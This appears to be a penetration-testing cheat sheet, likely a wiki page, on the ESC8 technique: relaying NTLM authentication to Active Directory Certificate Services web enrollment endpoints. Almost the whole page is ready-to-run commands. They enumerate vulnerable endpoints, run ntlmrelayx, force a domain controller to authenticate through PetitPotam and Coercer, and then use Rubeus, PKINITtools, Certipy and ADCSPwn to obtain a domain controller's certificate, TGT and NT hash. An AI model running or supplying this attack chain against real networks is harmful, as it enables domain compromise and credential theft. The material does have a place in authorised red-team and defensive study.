ESC8 NTLM Relay to AD CS HTTP Endpoints
Enumerate
Discover CES endpoints with certutil:
Copy Cmd > certutil.exe -enrollmentServerURL -config CA01.megacorp.local\CA01
Discover CES endpoints with PowerShell:
Copy PS > Get-CertificationAuthority | select name,enroll* | fl
Check a bunch of targets for the vulnerable endpoint:
Copy $ for ip in `cat ~/ws/discover/hosts/ca.txt`; do curl -sSLkI -u 'MEGACORP\snovvcrash:Passw0rd!' --ntlm http://$ip/certsrv/certfnsh.asp | grep -e 401 -e 200 > /dev/null && echo "[+] $ip" || echo "[-] $ip"; done
Exploit
ntlmrelayx
Copy $ ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp -smb2support --adcs [--template VulnTemplate] --no-http-server --no-wcf-server --no-raw-server
$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
PS > .\Rubeus.exe asktgt /user:DC1$ /domain:megacorp.local /dc:DC1.megacorp.local /certificate:<BASE64_PFX_CERT> /ptt
PKINITtools
Backup original httpattack.py
and copy one from the toolkit with a modified domain name and a template if needed (DomainController
is by default, but also one may use KerberosAuthentication
):
Copy $ sudo cp /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py.bak
$ subl ntlmrelayx/httpattack.py
$ sudo cp ntlmrelayx/httpattack.py /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py
Perform the relay attack, request the TGT via PKINIT and get the NT hash based on U2U Kerberos extension:
Copy $ ntlmrelayx.py -t http://CA01.megacorp.local/certsrv/certfnsh.asp -smb2support --no-http-server --no-wcf-server --no-raw-server
$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
$ python3 gettgtpkinit.py megacorp.local/'DC1$' -cert-pem cert.pem -key-pem privatekey.pem dc1.ccache
$ KRB5CCNAME=dc1.ccache python3 getnthash.py megacorp.local/'DC1$' -key 00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff
Revert the original httpattack.py
:
Copy $ sudo mv /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py.bak /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py
Certipy
Prepare for the relay attack:
Copy $ certipy relay -ca 192.168.1.12 -template DomainController
ADCSPwn
Start a relay server:
Copy PS > .\ADCSPwn.exe --adcs CA01.megacorp.local
Coerce the authentication, e. g. via Coercer :
Copy $ coercer coerce -u snovvcrash -p 'Passw0rd!' -t 192.168.1.11 -l VICTIM01 --auth-type http --http-port 8080
Last updated 2 months ago